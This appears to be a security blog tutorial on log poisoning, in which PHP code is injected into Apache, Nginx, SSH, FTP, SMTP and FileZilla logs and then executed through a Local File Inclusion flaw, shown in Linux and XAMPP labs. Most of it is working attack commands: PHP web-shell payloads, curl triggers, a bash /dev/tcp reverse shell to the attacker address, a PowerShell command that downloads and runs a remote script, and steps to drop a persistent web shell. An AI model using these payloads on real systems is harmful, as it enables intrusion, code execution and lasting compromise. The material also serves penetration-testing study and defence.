Byte JMP
Log Poisoning: From Log Injection to Remote Code Execution

Log Poisoning: From Log Injection to Remote Code Execution

How attackers inject executable code into server log files and combine it with Local File Inclusion to turn a read primitive into full remote code execution. Covering Apache, Nginx, SSH, FTP, and SMTP across Linux and Windows environments with lab demonstrations, realistic payloads, and detection strategies.

·19 min read

TL;DR

Log poisoning is a technique where an attacker injects executable code (typically PHP) into a server log file through a protocol field that the service records verbatim, such as the User-Agent header in Apache, the username in an SSH authentication attempt, or the login name in an FTP session. Once the payload is written to the log, the attacker triggers a Local File Inclusion (LFI) vulnerability in a web application to include the poisoned log file as if it were application code. The PHP interpreter processes the injected payload, and the attacker gains arbitrary command execution on the server. The technique requires two conditions: an LFI vulnerability and read access to a log file that the attacker can influence. Neither component is a vulnerability on its own. The combination of both is what produces code execution.

  • MITRE ATT&CK: T1659 — Content Injection
  • Tactic: Initial Access / Execution
  • Platform: Linux, Windows (any system running PHP with an LFI flaw)

Introduction

Log poisoning occupies a specific place in the web exploitation chain: it is the bridge between a file read and code execution. A Local File Inclusion vulnerability by itself only allows the attacker to read files on the server. It leaks source code, configuration, and credentials, but it does not directly execute arbitrary commands. Log poisoning changes that. By placing executable code inside a file that the web server can both reach and interpret, the attacker converts a read primitive into a write and execute primitive without needing a file upload, a writable web directory, or any additional vulnerability.

The technique works because of a fundamental behavior shared across virtually all network services: they write user controlled input into log files. Apache records HTTP headers. Nginx records request URIs and headers. SSH records usernames. FTP records login attempts. SMTP records envelope addresses. None of these services sanitize their log entries against code injection because log files are not intended to be executed. The problem only arises when a separate vulnerability (the LFI) causes the web server to treat the log file as code.

The attack surface differs significantly between Linux and Windows. On Linux, the web server typically runs as a dedicated low privilege user (www-data), log files are owned by root with restricted group permissions, and multiple services (SSH, FTP, SMTP) produce text based logs that can serve as injection targets. On Windows, environments like XAMPP run Apache as the current user or a local service account with broad filesystem access, there are no Unix style permission barriers between the web process and the log files, but fewer services produce exploitable text logs (Windows Event Log uses a binary format).

This article covers log poisoning against the most commonly targeted services, organized by platform: Linux (Apache, Nginx, SSH, FTP, SMTP) and Windows (XAMPP Apache, FileZilla FTP).


How log poisoning works

The attack always follows the same structure, regardless of which service produces the log or which operating system the server runs.

Attacker
   │
   │  1. Send crafted input containing
   │     executable code (e.g. PHP payload)
   │     via a protocol field the service logs
   ▼
Target Service (Apache, SSH, FTP, etc.)
   │
   │  2. Service writes the input verbatim
   │     into its log file on disk
   ▼
Log File on Disk
   (e.g. /var/log/apache2/access.log
    or   C:\xampp\apache\logs\access.log)
   │
   │  3. Attacker triggers LFI vulnerability
   │     in the web application, pointing
   │     the include path to the log file
   ▼
PHP Interpreter
   │
   │  4. PHP parses the log file, finds the
   │     injected <?php ?> tags, and executes
   │     the payload as server side code
   ▼
Command Execution on the Server

Two conditions must be satisfied:

  1. The web application has a Local File Inclusion vulnerability. This means a parameter (typically in a GET or POST request) is passed to a PHP function such as include(), include_once(), require(), or require_once() without proper sanitization.

  2. The web server process can read a log file that the attacker can influence. The process running PHP must have filesystem read permissions on the target log file.

Neither condition alone produces code execution. The LFI without a writable log only reads files. The log injection without an LFI only writes text that nobody executes. The combination of both is what creates the attack.


Why PHP specifically

Log poisoning is most commonly demonstrated with PHP because of how include() works in that language. When PHP includes a file, it does not require the file to have a .php extension. It parses the entire file, treating everything outside <?php ?> tags as plain text and everything inside them as executable code. This means a log file containing thousands of lines of normal log entries and a single line with <?php system($_GET['cmd']); ?> will execute that one payload while ignoring everything else.

Other server side languages (Python, Ruby, Node.js) do not typically include arbitrary files in this way, which is why log poisoning is predominantly a PHP technique.


The LFI prerequisite in detail

A vulnerable PHP script typically looks like this:

<?php
    $page = $_GET['page'];
    include($page);
?>

Or with a partial path:

<?php
    $page = $_GET['page'];
    include('/var/www/html/pages/' . $page);
?>

In the second case, the attacker uses directory traversal (../) to escape the base directory and reach the log file:

Linux:   http://target/index.php?page=../../../../../var/log/apache2/access.log
Windows: http://target/index.php?page=../../../../../xampp/apache/logs/access.log

On Windows, PHP accepts both forward slashes (/) and backslashes (\) as path separators. Both of these work:

http://target/index.php?page=C:/xampp/apache/logs/access.log
http://target/index.php?page=C:\xampp\apache\logs\access.log

Some applications append a file extension:

<?php
    include($_GET['page'] . '.php');
?>

In older PHP versions (before 5.3), this could be bypassed with a null byte (%00) to truncate the appended extension. In modern PHP this no longer works, and the attacker needs a path that ends cleanly or a different inclusion mechanism.


Common log file locations

Linux

ServiceLog FileDistributionDefault Path
ApacheAccess logDebian / Ubuntu/var/log/apache2/access.log
ApacheAccess logRHEL / CentOS/var/log/httpd/access_log
ApacheError logDebian / Ubuntu/var/log/apache2/error.log
ApacheError logRHEL / CentOS/var/log/httpd/error_log
NginxAccess logAll/var/log/nginx/access.log
NginxError logAll/var/log/nginx/error.log
SSHAuthentication logDebian / Ubuntu/var/log/auth.log
SSHAuthentication logRHEL / CentOS/var/log/secure
FTPvsftpd logAll (vsftpd)/var/log/vsftpd.log
FTPProFTPD logAll (proftpd)/var/log/proftpd/proftpd.log
SMTPMail logDebian / Ubuntu/var/log/mail.log
SMTPMail logRHEL / CentOS/var/log/maillog

Windows

ServiceLog FileStack / SoftwareDefault Path
Apache (XAMPP)Access logXAMPPC:\xampp\apache\logs\access.log
Apache (XAMPP)Error logXAMPPC:\xampp\apache\logs\error.log
Apache (WAMP)Access logWampServerC:\wamp64\logs\access.log
Apache (WAMP)Error logWampServerC:\wamp64\logs\apache_error.log
FTP (FileZilla)Server logFileZilla ServerC:\xampp\FileZillaFTP\Logs\FileZilla Server.log
IISAccess logIISC:\inetpub\logs\LogFiles\W3SVC1\*.log

Discovering the actual path through the LFI

If the default path does not work, the attacker can read the service configuration through the LFI itself:

Linux:
  /etc/apache2/apache2.conf                       →  ErrorLog / CustomLog directives
  /etc/apache2/sites-enabled/000-default.conf
  /etc/httpd/conf/httpd.conf
  /etc/nginx/nginx.conf                            →  access_log / error_log directives
  /etc/vsftpd.conf                                 →  vsftpd_log_file

Windows (XAMPP):
  C:/xampp/apache/conf/httpd.conf                  →  ErrorLog / CustomLog directives
  C:/xampp/apache/conf/extra/httpd-vhosts.conf     →  per-vhost log paths

Part 1: Log Poisoning on Linux

Lab environment (Linux)

WEBSERVER
    Ubuntu 22.04 / Debian 12
    Apache 2.4 + mod_php (PHP 8.x)
    OpenSSH server
    vsftpd
    Postfix (for SMTP)
    IP: 192.168.1.100

ATTACKER
    Kali Linux / any Linux
    curl, netcat, ssh client
    IP: 192.168.1.50

Setting up the vulnerable application

sudo mkdir -p /var/www/html/lab
sudo tee /var/www/html/lab/index.php << 'EOF'
<?php
    // Deliberately vulnerable: no input sanitization
    $page = $_GET['page'] ?? 'welcome.php';
    include($page);
?>
EOF
sudo tee /var/www/html/lab/welcome.php << 'EOF'
<h1>Welcome</h1>
<p>This is the default page.</p>
EOF

Ensuring the web server can read log files

By default on Debian and Ubuntu, Apache log files are owned by root:adm with permissions 640. The www-data user is not in the adm group, which means the web server process cannot read the log files and the LFI would fail.

To make the lab work, add www-data to the adm group:

sudo usermod -aG adm www-data
sudo systemctl restart apache2

In a real engagement, this step would not be needed if the administrator had already configured looser permissions.

Verifying the LFI

curl "http://192.168.1.100/lab/index.php?page=/etc/hostname"

If the server returns the hostname, the LFI is functional.


Apache access log poisoning (Linux)

What Apache logs

The default Apache access log format (combined) records:

%h %l %u %t "%r" %>s %b "%{Referer}i" "%{User-Agent}i"

The %{User-Agent}i field is the injection point. Apache writes this value directly from the HTTP request into the log file without sanitization.

A normal log entry:

192.168.1.50 - - [23/Sep/2026:14:32:01 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0"

After injection:

192.168.1.50 - - [23/Sep/2026:14:32:45 +0000] "GET / HTTP/1.1" 200 1234 "-" "<?php system($_GET['cmd']); ?>"

Step 1: Inject the payload

curl -s -A "<?php system(\$_GET['cmd']); ?>" "http://192.168.1.100/"

Step 2: Trigger execution through the LFI

curl "http://192.168.1.100/lab/index.php?page=/var/log/apache2/access.log&cmd=id"

Expected output:

uid=33(www-data) gid=33(www-data) groups=33(www-data),4(adm)

Step 3: Verify and expand

# List web root
curl "http://192.168.1.100/lab/index.php?page=/var/log/apache2/access.log&cmd=ls+-la+/var/www/html/"

# Read sensitive files
curl "http://192.168.1.100/lab/index.php?page=/var/log/apache2/access.log&cmd=cat+/etc/passwd"

Important considerations

  • The payload is permanent. If the injection contains a syntax error, every subsequent inclusion produces a PHP parse error. Test carefully before injecting.
  • Log rotation matters. If logrotate rotates the access log, the payload moves to access.log.1 and the current log starts clean.
  • Encoding issues. Some configurations may URL encode special characters in the User-Agent. Verify by reading the raw log through the LFI first.

Apache error log poisoning (Linux)

The error log offers an alternative when the access log is not readable or when the User-Agent is being sanitized by a reverse proxy.

# Inject via an invalid request URI
curl -s "http://192.168.1.100/<?php system(\$_GET['cmd']); ?>"

# Trigger
curl "http://192.168.1.100/lab/index.php?page=/var/log/apache2/error.log&cmd=id"

This method is less reliable. Apache 2.4.49 and later may escape special characters in the URI when writing to the error log, preventing PHP tags from being interpreted. The access log via User-Agent remains the preferred method.


Nginx access log poisoning (Linux)

The default Nginx log format (combined) uses the same structure as Apache:

$remote_addr - $remote_user [$time_local] "$request" $status $body_bytes_sent "$http_referer" "$http_user_agent"

The exploitation process is identical, with a different log file path:

# Inject
curl -s -A "<?php system(\$_GET['cmd']); ?>" "http://192.168.1.100/"

# Trigger
curl "http://192.168.1.100/lab/index.php?page=/var/log/nginx/access.log&cmd=id"

Nginx as a reverse proxy

If Nginx runs as a reverse proxy in front of a PHP backend, the Nginx log and the PHP application may live on different hosts. The LFI in the PHP application cannot reach a log file on a different server.


SSH auth log poisoning (Linux)

SSH log poisoning exploits a different service entirely. OpenSSH records authentication attempts to /var/log/auth.log (Debian/Ubuntu) or /var/log/secure (RHEL/CentOS), and the username field is written without sanitization. The attacker does not interact with the web application to inject, only SSH access to the target is needed.

Attack flow

Attacker                          Target Server
   │                                    │
   │  1. SSH connection with PHP        │
   │     payload as username            │
   │                                    │
   │── ssh '<?php system(..); ?>'@ ───>│
   │                                    │
   │  2. SSH rejects the login          │
   │     (expected, does not matter)    │
   │                                    │
   │<──────── Permission denied ────────│
   │                                    │
   │  3. sshd writes the username       │
   │     to /var/log/auth.log           │
   │                                    │
   │  4. Trigger LFI to include         │
   │     auth.log via the web app       │
   │                                    │
   │── GET /index.php?page=             │
   │   /var/log/auth.log&cmd=id ──────>│
   │                                    │
   │  5. PHP executes the payload       │
   │                                    │
   │<────── uid=33(www-data) ───────────│

Step 1: Inject via SSH

ssh '<?php system($_GET["cmd"]); ?>'@192.168.1.100

Enter any password and let it fail. The double quotes around cmd avoid conflicts with the single quotes wrapping the username in the shell.

Step 2: Trigger the LFI

# Debian / Ubuntu
curl "http://192.168.1.100/lab/index.php?page=/var/log/auth.log&cmd=id"

# RHEL / CentOS
curl "http://192.168.1.100/lab/index.php?page=/var/log/secure&cmd=id"

Permissions

On Debian/Ubuntu, /var/log/auth.log is syslog:adm 640. The www-data user must be in the adm group. On RHEL/CentOS, /var/log/secure is root:root 600, making it unreadable by the web server in the default configuration.


FTP log poisoning (Linux)

vsftpd

vsftpd logs to /var/log/vsftpd.log by default. The username field is recorded verbatim on failed logins.

Injection

# Interactive
ftp 192.168.1.100
# Username: <?php system($_GET["cmd"]); ?>
# Password: anything

# Or via curl
curl -s "ftp://192.168.1.100/" --user '<?php system($_GET["cmd"]); ?>:anything'

# Or via netcat
nc 192.168.1.100 21
# USER <?php system($_GET["cmd"]); ?>
# PASS anything
# QUIT

Trigger

curl "http://192.168.1.100/lab/index.php?page=/var/log/vsftpd.log&cmd=id"

SMTP log poisoning (Linux)

Mail servers log envelope information to /var/log/mail.log (Debian/Ubuntu) or /var/log/maillog (RHEL/CentOS).

Injection

telnet 192.168.1.100 25
HELO attacker
MAIL FROM:<[email protected]>
RCPT TO:<<?php system($_GET["cmd"]); ?>>
QUIT

Trigger

curl "http://192.168.1.100/lab/index.php?page=/var/log/mail.log&cmd=id"

Reliability

SMTP log poisoning is the least reliable technique in this article. Many MTAs encode special characters, the <> brackets around email addresses can interfere with PHP tag parsing, and many web servers do not run an MTA at all. Use this as a last resort.


Post exploitation: Linux reverse shell

With a listener on the attacker machine:

nc -lvnp 4444

Trigger a reverse shell through the poisoned log:

curl "http://192.168.1.100/lab/index.php?page=/var/log/apache2/access.log&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.1.50/4444+0>%261'"

Dropping a persistent web shell

Instead of executing through the log file repeatedly, write a standalone web shell:

curl "http://192.168.1.100/lab/index.php?page=/var/log/apache2/access.log&cmd=echo+'<?php+system(\$_GET[\"c\"]);+?>'>/var/www/html/lab/shell.php"

Access it directly:

curl "http://192.168.1.100/lab/shell.php?c=id"

Part 2: Log Poisoning on Windows (XAMPP)

Key differences from Linux

AspectLinuxWindows (XAMPP)
Web server userwww-data (restricted)Current user or SYSTEM (broad access)
Log file permissionsroot:adm 640 (restrictive)Inherited from XAMPP directory (permissive)
Log file paths/var/log/apache2/access.logC:\xampp\apache\logs\access.log
Web root/var/www/html/C:\xampp\htdocs\
Path separators in PHP/ onlyBoth / and \ accepted
SSH auth log/var/log/auth.log (text)Windows Event Log (binary, not exploitable)
Shell commandsid, whoami, cat, lswhoami, dir, type, ipconfig
Reverse shellBash, Python, netcatPowerShell, netcat, msfvenom

The most significant difference is permissions. On Linux, the web server process often cannot read log files without an explicit configuration change. On Windows with XAMPP, the Apache process typically runs under the same user account that installed XAMPP (or as SYSTEM if configured as a Windows service), and the entire C:\xampp\ directory tree is readable by that process. This means the LFI can reach the Apache logs without any permission adjustment.

XAMPP was designed for development, not production. Its default configuration grants the web server process broad filesystem access. This is one of the reasons XAMPP should never be used in production environments.

The other major difference is the absence of SSH and SMTP text logs. OpenSSH for Windows logs to the Windows Event Log (binary EVTX format), not to a text file. PHP's include() cannot parse binary data, so SSH log poisoning does not apply to Windows. The same limitation applies to any service that logs exclusively through the Event Log.

Lab environment (Windows)

YOURWEBSERVER (Windows)
    Windows 10 / 11 or Windows Server
    XAMPP installed at C:\xampp\
    Apache 2.4 + PHP 8.x (bundled with XAMPP)
    FileZilla FTP Server (optional, bundled with XAMPP)
    IP: 192.168.1.200

ATTACKER
    Kali Linux / any Linux
    curl, netcat, Python
    IP: 192.168.1.50

Installing and starting XAMPP

Download XAMPP from the Apache Friends website and install with default settings. The default installation path is C:\xampp\. After installation, open the XAMPP Control Panel and start Apache.

Setting up the vulnerable application

Create the vulnerable PHP script in the XAMPP web root. The file path is:

C:\xampp\htdocs\lab\index.php

Content:

<?php
    // Deliberately vulnerable: no input sanitization
    $page = $_GET['page'] ?? 'welcome.php';
    include($page);
?>

And a default page at C:\xampp\htdocs\lab\welcome.php:

<h1>Welcome</h1>
<p>This is the default page.</p>

Verifying the LFI

From the attacker machine:

curl "http://192.168.1.200/lab/index.php?page=C:/Windows/System32/drivers/etc/hosts"

If the server returns the contents of the hosts file, the LFI is functional. Note the use of forward slashes, which PHP on Windows accepts.

No permission adjustments needed

Unlike the Linux lab, there is no need to modify any file permissions. The XAMPP Apache process can read C:\xampp\apache\logs\access.log by default because everything under C:\xampp\ is accessible to the process.


Apache access log poisoning (XAMPP / Windows)

The injection mechanism is identical to Linux. The differences are the log file path and the commands executed on the target.

XAMPP log file paths

Log FileDefault XAMPP Path
Access logC:\xampp\apache\logs\access.log
Error logC:\xampp\apache\logs\error.log

Step 1: Inject the payload

From the attacker machine:

curl -s -A "<?php system(\$_GET['cmd']); ?>" "http://192.168.1.200/"

Step 2: Trigger execution through the LFI

curl "http://192.168.1.200/lab/index.php?page=C:/xampp/apache/logs/access.log&cmd=whoami"

Expected output:

desktop-abc123\admin

Or if XAMPP runs as a service:

nt authority\system

Step 3: Enumerate the Windows environment

# List web root
curl "http://192.168.1.200/lab/index.php?page=C:/xampp/apache/logs/access.log&cmd=dir+C:\xampp\htdocs"

# Network configuration
curl "http://192.168.1.200/lab/index.php?page=C:/xampp/apache/logs/access.log&cmd=ipconfig"

# Current user privileges
curl "http://192.168.1.200/lab/index.php?page=C:/xampp/apache/logs/access.log&cmd=whoami+/priv"

# Read Apache configuration
curl "http://192.168.1.200/lab/index.php?page=C:/xampp/apache/logs/access.log&cmd=type+C:\xampp\apache\conf\httpd.conf"

Alternative: Referer header injection

The Referer header is also recorded in the Apache combined log format and serves as an alternative injection point if the User-Agent is being filtered:

curl -s -H "Referer: <?php system(\$_GET['cmd']); ?>" "http://192.168.1.200/"

Apache error log poisoning (XAMPP / Windows)

# Inject via an invalid request URI
curl -s "http://192.168.1.200/<?php system(\$_GET['cmd']); ?>"

# Trigger
curl "http://192.168.1.200/lab/index.php?page=C:/xampp/apache/logs/error.log&cmd=whoami"

The same encoding caveats from the Linux section apply. The access log via User-Agent remains the more reliable method.


FileZilla FTP log poisoning (XAMPP / Windows)

XAMPP bundles FileZilla Server as an optional component. If FileZilla FTP is enabled, its log files provide another injection target.

FileZilla Server log location

InstallationDefault Log Path
XAMPP bundledC:\xampp\FileZillaFTP\Logs\FileZilla Server.log
StandaloneC:\Program Files\FileZilla Server\Logs\*.log

FileZilla Server can be configured to create daily log files (e.g., FileZilla Server 2026-09-23.log).

What FileZilla Server logs

FileZilla Server records FTP commands including the USER command:

(000001) 23/09/2026 15:45:02 - (not logged in) (192.168.1.50)> USER <?php system($_GET["cmd"]); ?>
(000001) 23/09/2026 15:45:02 - (not logged in) (192.168.1.50)> 331 Password required for <?php system($_GET["cmd"]); ?>
(000001) 23/09/2026 15:45:04 - (not logged in) (192.168.1.50)> PASS ****
(000001) 23/09/2026 15:45:04 - (not logged in) (192.168.1.50)> 530 Login or password incorrect!

Step 1: Inject

nc 192.168.1.200 21
220 FileZilla Server
USER <?php system($_GET["cmd"]); ?>
331 Password required
PASS anything
530 Login or password incorrect!
QUIT
221 Goodbye

Step 2: Trigger the LFI

The space in the filename FileZilla Server.log must be URL encoded:

curl "http://192.168.1.200/lab/index.php?page=C:/xampp/FileZillaFTP/Logs/FileZilla%20Server.log&cmd=whoami"

Post exploitation: Windows reverse shell

PowerShell reverse shell

With a listener on the attacker machine:

nc -lvnp 4444

Generate a base64 encoded PowerShell payload to avoid character escaping issues:

echo -n 'IEX(IWR http://192.168.1.50/shell.ps1 -UseBasicParsing)' | iconv -t UTF-16LE | base64 -w 0

Trigger it through the poisoned log:

curl "http://192.168.1.200/lab/index.php?page=C:/xampp/apache/logs/access.log&cmd=powershell+-enc+<BASE64_STRING>"

Dropping a persistent web shell (Windows)

Write a standalone web shell to the XAMPP web root. On Windows cmd.exe, the ^ character escapes < and >:

curl "http://192.168.1.200/lab/index.php?page=C:/xampp/apache/logs/access.log&cmd=echo+^<?php+system($_GET['c']);+?^>>C:\xampp\htdocs\lab\shell.php"

Access it directly:

curl "http://192.168.1.200/lab/shell.php?c=whoami"

Services not applicable on Windows

VectorWhy it does not work on Windows
SSH auth log poisoningOpenSSH for Windows logs to the Windows Event Log (binary EVTX), not a text file. PHP cannot parse binary data through include().
SMTP mail log poisoningWindows does not ship with Postfix or Sendmail. If an MTA exists (hMailServer, IIS SMTP), it typically logs to the Event Log or a proprietary format.

Summary of all attack vectors

PlatformServiceInjection FieldLog File PathReliability
LinuxApacheUser-Agent header/var/log/apache2/access.logHigh
LinuxApacheRequested URI/var/log/apache2/error.logMedium
LinuxNginxUser-Agent header/var/log/nginx/access.logHigh
LinuxSSHUsername/var/log/auth.logHigh
LinuxFTPUsername/var/log/vsftpd.logMedium
LinuxSMTPRecipient address/var/log/mail.logLow
WindowsApacheUser-Agent headerC:\xampp\apache\logs\access.logHigh
WindowsApacheRequested URIC:\xampp\apache\logs\error.logMedium
WindowsFileZillaUsernameC:\xampp\FileZillaFTP\Logs\*.logMedium

References